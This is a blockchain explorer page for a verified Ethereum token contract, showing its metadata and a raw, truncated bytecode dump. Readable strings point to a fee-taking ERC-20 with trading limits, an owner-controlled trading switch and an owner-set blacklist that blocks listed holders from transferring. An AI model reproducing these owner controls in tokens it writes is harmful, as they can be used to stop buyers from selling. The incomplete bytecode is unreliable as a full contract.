Address Contract Verified
Address
0xf3aa77bEB30bCC19e12BE26dAE003C47844B2a52
Balance
0 ETH
Nonce
1
Code Size
16763 bytes
Creator
0x3405749C...8dB2 at tx 0x7538ea2f...4a28b3
Indexed Transactions
0 (1 on-chain, 1.1% indexed)
Contract Bytecode
16763 bytes
0x60806040526004361061021d575f3560e01c80638da5cb5b11610122578063cf9522fd116100aa578063e0f83b161161006e578063e0f83b16146107aa578063e2f45605146107c0578063f2fde38b146107ea578063f8b45b0514610812578063ffb54a991461083c57610224565b8063cf9522fd146106ca578063d34628cc146106f4578063db1b71821461071c578063dd62ed3e14610744578063dd8546521461078057610224565b8063a9059cbb116100f1578063a9059cbb146105fe578063afa4f3b21461063a578063c024666814610662578063c8c8ebe41461068a578063c9567bf9146106b457610224565b80638da5cb5b1461054657806395d89b41146105705780639a7a23d61461059a578063a457c2d7146105c257610224565b806346073115116101a5578063583e056811610174578063583e0568146104785780636ddd1713146104a257806370a08231146104cc578063715018a6146105085780637571336a1461051e57610224565b806346073115146103d457806349bd5a5e146103ea5780634fbee19314610414578063500b9aa21461045057610224565b806323b872dd116101ec57806323b872dd146102e0578063311028af1461031c578063313ce5671461034657806331c2d84714610370578063395093511461039857610224565b8063032dc6a21461022857806306fdde0314610250578063095ea7b31461027a57806318160ddd146102b657610224565b3661022457005b5f80fd5b348015610233575f80fd5b5061024e60048036038101906102499190612c9b565b610866565b005b34801561025b575f80fd5b506102646108d1565b6040516102719190612d63565b60405180910390f35b348015610285575f80fd5b506102a0600480360381019061029b9190612ddd565b610961565b6040516102ad9190612e35565b60405180910390f35b3480156102c1575f80fd5b506102ca610983565b6040516102d79190612e5d565b60405180910390f35b3480156102eb575f80fd5b5061030660048036038101906103019190612e76565b61098c565b6040516103139190612e35565b60405180910390f35b348015610327575f80fd5b506103306109ba565b60405161033d9190612e5d565b60405180910390f35b348015610351575f80fd5b5061035a6109c0565b6040516103679190612ee1565b60405180910390f35b34801561037b575f80fd5b506103966004803603810190610391919061303a565b6109c8565b005b3480156103a3575f80fd5b506103be60048036038101906103b99190612ddd565b610a60565b6040516103cb9190612e35565b60405180910390f35b3480156103df575f80fd5b506103e8610a96565b005b3480156103f5575f80fd5b506103fe610aba565b60405161040b9190613090565b60405180910390f35b34801561041f575f80fd5b5061043a600480360381019061043591906130a9565b610adf565b6040516104479190612e35565b60405180910390f35b34801561045b575f80fd5b50610476600480360381019061047191906130d4565b610b31565b005b348015610483575f80fd5b5061048c610c14565b604051610499919061315a565b60405180910390f35b3480156104ad575f80fd5b506104b6610c38565b6040516104c39190612e35565b60405180910390f35b3480156104d7575f80fd5b506104f260048036038101906104ed91906130a9565b610c4b565b6040516104ff9190612e5d565b60405180910390f35b348015610513575f80fd5b5061051c610c90565b005b348015610529575f80fd5b50610544600480360381019061053f919061319d565b610ca3565b005b348015610551575f80fd5b5061055a610d03565b6040516105679190613090565b60405180910390f35b34801561057b575f80fd5b50610584610d2b565b6040516105919190612d63565b60405180910390f35b3480156105a5575f80fd5b506105c060048036038101906105bb919061319d565b610dbb565b005b3480156105cd575f80fd5b506105e860048036038101906105e39190612ddd565b610e60565b6040516105f59190612e35565b60405180910390f35b348015610609575f80fd5b50610624600480360381019061061f9190612ddd565b610ed5565b6040516106319190612e35565b60405180910390f35b348015610645575f80fd5b50610660600480360381019061065b91906130d4565b610ef7565b005b34801561066d575f80fd5b506106886004803603810190610683919061319d565b610f1c565b005b348015610695575f80fd5b5061069e610fca565b6040516106ab9190612e5d565b60405180910390f35b3480156106bf575f80fd5b506106c8610fd0565b005b3480156106d5575f80fd5b506106de61145c565b6040516106eb9190612e5d565b60405180910390f35b3480156106ff575f80fd5b5061071a6004803603810190610715919061303a565b611462565b005b348015610727575f80fd5b50610742600480360381019061073d9190613216565b6114fb565b005b34801561074f575f80fd5b5061076a60048036038101906107659190613241565b611699565b6040516107779190612e5d565b60405180910390f35b34801561078b575f80fd5b5061079461171b565b6040516107a19190612e5d565b60405180910390f35b3480156107b5575f80fd5b506107be611721565b005b3480156107cb575f80fd5b506107d4611808565b6040516107e19190612e5d565b60405180910390f35b3480156107f5575f80fd5b50610810600480360381019061080b91906130a9565b61180e565b005b34801561081d575f80fd5b50610826611890565b6040516108339190612e5d565b60405180910390f35b348015610847575f80fd5b50610850611896565b60405161085d9190612e35565b60405180910390f35b61086e6118a8565b601e8211158015610880575060638111155b6108bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b6906132c9565b60405180910390fd5b81600f81905550806010819055505050565b6060600380546108e090613314565b80601f016020809104026020016040519081016040528092919081815260200182805461090c90613314565b80156109575780601f1061092e57610100808354040283529160200191610957565b820191905f5260205f20905b81548152906001019060200180831161093a57829003601f168201915b5050505050905090565b5f8061096b611926565b905061097881858561192d565b600191505092915050565b5f600254905090565b5f80610996611926565b90506109a3858285611af0565b6109ae858585611b7b565b60019150509392505050565b600a5481565b5f6012905090565b6109d06118a8565b5f5b8151811015610a5c575f60095f8484815181106109f2576109f1613344565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610a549061339e565b9150506109d2565b5050565b5f80610a6a611926565b9050610a8b818585610a7c8589611699565b610a8691906133e5565b61192d565b600191505092915050565b610a9e6118a8565b5f610aa7610983565b905080600b8190555080600c8190555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60115f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b71611926565b73ffffffffffffffffffffffffffffffffffffffff1614610b90575f80fd5b5f610b99610983565b90505f610ba530610c4b565b90505f60648484610bb69190613418565b610bc09190613486565b905080821015610c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfc90613500565b60405180910390fd5b610c0e81612503565b50505050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b600e60019054906101000a900460ff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610c986118a8565b610ca15f612757565b565b610cab6118a8565b8060125f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610d3a90613314565b80601f0160208091040260200160405190810160405280929190818152602001828054610d6690613314565b8015610db15780601f10610d8857610100808354040283529160200191610db1565b820191905f5260205f20905b815481529060010190602001808311610d9457829003601f168201915b5050505050905090565b610dc36118a8565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e499061358e565b60405180910390fd5b610e5c828261281a565b5050565b5f80610e6a611926565b90505f610e778286611699565b905083811015610ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb39061361c565b60405180910390fd5b610ec9828686840361192d565b60019250505092915050565b5f80610edf611926565b9050610eec818585611b7b565b600191505092915050565b610eff6118a8565b670de0b6b3a764000081610f139190613418565b600d8190555050565b610f246118a8565b8060115f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051610fbe9190612e35565b60405180910390a25050565b600b5481565b610fd86118a8565b600e5f9054906101000a900460ff1615611027576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101e90613684565b60405180910390fd5b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611090573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110b491906136b6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611139573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061115d91906136b6565b6040518363ffffffff1660e01b815260040161117a9291906136e1565b6020604051808303815f875af1158015611196573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111ba91906136b6565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061122560065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001610ca3565b61125160065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600161281a565b61127e307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d600a5461192d565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71947306112d860506112ca30610c4b565b6128b890919063ffffffff16565b5f806112e2610d03565b426040518863ffffffff1660e01b815260040161130496959493929190613741565b60606040518083038185885af1158015611320573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061134591906137b4565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016113e4929190613804565b6020604051808303815f875af1158015611400573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611424919061383f565b506001600e60016101000a81548160ff0219169083151502179055506001600e5f6101000a81548160ff021916908315150217905550565b60105481565b61146a6118a8565b5f5b81518110156114f757600160095f84848151811061148d5761148c613344565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806114ef9061339e565b91505061146c565b5050565b5f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016115359190613090565b602060405180830381865afa158015611550573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611574919061386a565b90505f81116115b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115af906138df565b60405180910390fd5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115f8611926565b73ffffffffffffffffffffffffffffffffffffffff1614611617575f80fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb61dead836040518363ffffffff1660e01b8152600401611654929190613804565b6020604051808303815f875af1158015611670573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611694919061383f565b505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600f5481565b5f4711611763576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175a90613947565b60405180910390fd5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117a3611926565b73ffffffffffffffffffffffffffffffffffffffff16146117c2575f80fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611805573d5f803e3d5ffd5b50565b600d5481565b6118166118a8565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b906139d5565b60405180910390fd5b61188d81612757565b50565b600c5481565b600e5f9054906101000a900460ff1681565b6118b0611926565b73ffffffffffffffffffffffffffffffffffffffff166118ce610d03565b73ffffffffffffffffffffffffffffffffffffffff1614611924576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191b90613a3d565b60405180910390fd5b565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361199b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199290613acb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0090613b59565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611ae39190612e5d565b60405180910390a3505050565b5f611afb8484611699565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611b755781811015611b67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5e90613bc1565b60405180910390fd5b611b74848484840361192d565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611be9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be090613c4f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4e90613cdd565b60405180910390fd5b5f8103611c6e57611c6983835f61291d565b6124fe565b611c76610d03565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ce45750611cb4610d03565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d1c57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d56575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d6f5750600860149054906101000a900460ff16155b156121e25760095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611e12575060095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611e1a575f80fd5b600e5f9054906101000a900460ff16611f085760115f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611ec8575060115f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611f07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611efe90613d45565b60405180910390fd5b5b60135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611fa5575060125f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561204c57600b54811115611fef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe690613dd3565b60405180910390fd5b600c54611ffb83610c4b565b8261200691906133e5565b1115612047576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203e90613e3b565b60405180910390fd5b6121e1565b60135f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156120e9575060125f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561213857600b54811115612133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212a90613ec9565b60405180910390fd5b6121e0565b60125f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166121df57600c5461219283610c4b565b8261219d91906133e5565b11156121de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d590613e3b565b60405180910390fd5b5b5b5b5b5f6121ec30610c4b565b90505f808211905080801561220d5750600e60019054906101000a900460ff165b80156122265750600860149054906101000a900460ff16155b8015612279575060135f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156122cc575060115f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561231f575060115f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612363576001600860146101000a81548160ff02191690831515021790555061234883612b89565b5f600860146101000a81548160ff0219169083151502179055505b5f600860149054906101000a900460ff1615905060115f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680612412575060115f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561241b575f90505b5f81156124ee5760135f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156124a057612499606461248b60105488612c2390919063ffffffff16565b612c3890919063ffffffff16565b90506124cb565b6124c860646124ba600f5488612c2390919063ffffffff16565b612c3890919063ffffffff16565b90505b5f8111156124df576124de87308361291d565b5b80856124eb9190613ee7565b94505b6124f987878761291d565b505050505b505050565b5f600267ffffffffffffffff81111561251f5761251e612efe565b5b60405190808252806020026020018201604052801561254d5781602001602082028036833780820191505090505b50905030815f8151811061256457612563613344565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612607573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061262b91906136b6565b8160018151811061263f5761263e613344565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a4307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461192d565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401612726959493929190613fd1565b5f604051808303815f87803b15801561273d575f80fd5b505af115801561274f573d5f803e3d5ffd5b505050505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8060135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b5f60648211156128fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128f490614099565b60405180910390fd5b6064828461290b9190613418565b6129159190613486565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361298b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161298290613c4f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036129f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129f090613cdd565b60405180910390fd5b612a04838383612c4d565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015612a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a7e90614127565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b709190612e5d565b60405180910390a3612b83848484612c52565b50505050565b5f612b9330610c4b565b90505f808203612ba4575050612c20565b5f82118015612bb45750600d5482105b15612bc157819050612c14565b5f612bea6064612bdc60105487612c2390919063ffffffff16565b612c3890919063ffffffff16565b90508084612bf89190613ee7565b9350600d54841115612c0e57600d549150612c12565b8391505b505b612c1d81612503565b50505b50565b5f8183612c309190613418565b905092915050565b5f8183612c459190613486565b905092915050565b505050565b505050565b5f604051905090565b5f80fd5b5f80fd5b5f819050919050565b612c7a81612c68565b8114612c84575f80fd5b50565b5f81359050612c9581612c71565b92915050565b5f8060408385031215612cb157612cb0612c60565b5b5f612cbe85828601612c87565b9250506020612ccf85828601612c87565b9150509250929050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612d10578082015181840152602081019050612cf5565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612d3582612cd9565b612d3f8185612ce3565b9350612d4f818560208601612cf3565b612d5881612d1b565b840191505092915050565b5f6020820190508181035f830152612d7b8184612d2b565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612dac82612d83565b9050919050565b612dbc81612da2565b8114612dc6575f80fd5b50565b5f81359050612dd781612db3565b92915050565b5f8060408385031215612df357612df2612c60565b5b5f612e0085828601612dc9565b9250506020612e1185828601612c87565b9150509250929050565b5f8115159050919050565b612e2f81612e1b565b82525050565b5f602082019050612e485f830184612e26565b92915050565b612e5781612c68565b82525050565b5f602082019050612e705f830184612e4e565b92915050565b5f805f60608486031215612e8d57612e8c612c60565b5b5f612e9a86828701612dc9565b9350506020612eab86828701612dc9565b9250506040612ebc86828701612c87565b9150509250925092565b5f60ff82169050919050565b612edb81612ec6565b82525050565b5f602082019050612ef45f830184612ed2565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612f3482612d1b565b810181811067ffffffffffffffff82111715612f5357612f52612efe565b5b80604052505050565b5f612f65612c57565b9050612f718282612f2b565b919050565b5f67ffffffffffffffff821115612f9057612f8f612efe565b5b602082029050602081019050919050565b5f80fd5b5f612fb7612fb284612f76565b612f5c565b90508083825260208201905060208402830185811115612fda57612fd9612fa1565b5b835b818110156130035780612fef8882612dc9565b845260208401935050602081019050612fdc565b5050509392505050565b5f82601f83011261302157613020612efa565b5b8135613031848260208601612fa5565b91505092915050565b5f6020828403121561304f5761304e612c60565b5b5f82013567ffffffffffffffff81111561306c5761306b612c64565b5b6130788482850161300d565b91505092915050565b61308a81612da2565b82525050565b5f6020820190506130a35f830184613081565b92915050565b5f602082840312156130be576130bd612c60565b5b5f6130cb84828501612dc9565b91505092915050565b5f602082840312156130e9576130e8612c60565b5b5f6130f684828501612c87565b91505092915050565b5f819050919050565b5f61312261311d61311884612d83565b6130ff565b612d83565b9050919050565b5f61313382613108565b9050919050565b5f61314482613129565b9050919050565b6131548161313a565b82525050565b5f60208201905061316d5f83018461314b565b92915050565b61317c81612e1b565b8114613186575f80fd5b50565b5f8135905061319781613173565b92915050565b5f80604083850312156131b3576131b2612c60565b5b5f6131c085828601612dc9565b92505060206131d185828601613189565b9150509250929050565b5f6131e582612da2565b9050919050565b6131f5816131db565b81146131ff575f80fd5b50565b5f81359050613210816131ec565b92915050565b5f6020828403121561322b5761322a612c60565b5b5f61323884828501613202565b91505092915050565b5f806040838503121561325757613256612c60565b5b5f61326485828601612dc9565b925050602061327585828601612dc9565b9150509250929050565b7f466565732063616e6e6f742065786365656420333025000000000000000000005f82015250565b5f6132b3601683612ce3565b91506132be8261327f565b602082019050919050565b5f6020820190508181035f8301526132e0816132a7565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061332b57607f821691505b60208210810361333e5761333d6132e7565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6133a882612c68565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036133da576133d9613371565b5b600182019050919050565b5f6133ef82612c68565b91506133fa83612c68565b925082820190508082111561341257613411613371565b5b92915050565b5f61342282612c68565b915061342d83612c68565b925082820261343b81612c68565b9150828204841483151761345257613451613371565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61349082612c68565b915061349b83612c68565b9250826134ab576134aa613459565b5b828204905092915050565b7f4e6f7420656e6f75676820746f6b656e730000000000000000000000000000005f82015250565b5f6134ea601183612ce3565b91506134f5826134b6565b602082019050919050565b5f6020820190508181035f830152613517816134de565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d205f8201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b5f613578603983612ce3565b91506135838261351e565b604082019050919050565b5f6020820190508181035f8301526135a58161356c565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f613606602583612ce3565b9150613611826135ac565b604082019050919050565b5f6020820190508181035f830152613633816135fa565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61366e601783612ce3565b91506136798261363a565b602082019050919050565b5f6020820190508181035f83015261369b81613662565b9050919050565b5f815190506136b081612db3565b92915050565b5f602082840312156136cb576136ca612c60565b5b5f6136d8848285016136a2565b91505092915050565b5f6040820190506136f45f830185613081565b6137016020830184613081565b9392505050565b5f819050919050565b5f61372b61372661372184613708565b6130ff565b612c68565b9050919050565b61373b81613711565b82525050565b5f60c0820190506137545f830189613081565b6137616020830188612e4e565b61376e6040830187613732565b61377b6060830186613732565b6137886080830185613081565b61379560a0830184612e4e565b979650505050505050565b5f815190506137ae81612c71565b92915050565b5f805f606084860312156137cb576137ca612c60565b5b5f6137d8868287016137a0565b93505060206137e9868287016137a0565b92505060406137fa868287016137a0565b9150509250925092565b5f6040820190506138175f830185613081565b6138246020830184612e4e565b9392505050565b5f8151905061383981613173565b92915050565b5f6020828403121561385457613853612c60565b5b5f6138618482850161382b565b91505092915050565b5f6020828403121561387f5761387e612c60565b5b5f61388c848285016137a0565b91505092915050565b7f546f6b656e3a206e6f20746f6b656e7320746f206275726e00000000000000005f82015250565b5f6138c9601883612ce3565b91506138d482613895565b602082019050919050565b5f6020820190508181035f8301526138f6816138bd565b9050919050565b7f546f6b656e3a206e6f2045544820746f20636c656172000000000000000000005f82015250565b5f613931601683612ce3565b915061393c826138fd565b602082019050919050565b5f6020820190508181035f83015261395e81613925565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6139bf602683612ce3565b91506139ca82613965565b604082019050919050565b5f6020820190508181035f8301526139ec816139b3565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f613a27602083612ce3565b9150613a32826139f3565b602082019050919050565b5f6020820190508181035f830152613a5481613a1b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f613ab5602483612ce3565b9150613ac082613a5b565b604082019050919050565b5f6020820190508181035f830152613ae281613aa9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613b43602283612ce3565b9150613b4e82613ae9565b604082019050919050565b5f6020820190508181035f830152613b7081613b37565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f613bab601d83612ce3565b9150613bb682613b77565b602082019050919050565b5f6020820190508181035f830152613bd881613b9f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613c39602583612ce3565b9150613c4482613bdf565b604082019050919050565b5f6020820190508181035f830152613c6681613c2d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613cc7602383612ce3565b9150613cd282613c6d565b604082019050919050565b5f6020820190508181035f830152613cf481613cbb565b9050919050565b7f54726164696e67206973206e6f74206163746976652e000000000000000000005f82015250565b5f613d2f601683612ce3565b9150613d3a82613cfb565b602082019050919050565b5f6020820190508181035f830152613d5c81613d23565b9050919050565b7f427579207472616e7366657220616d6f756e74206578636565647320746865205f8201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b5f613dbd603583612ce3565b9150613dc882613d63565b604082019050919050565b5f6020820190508181035f830152613dea81613db156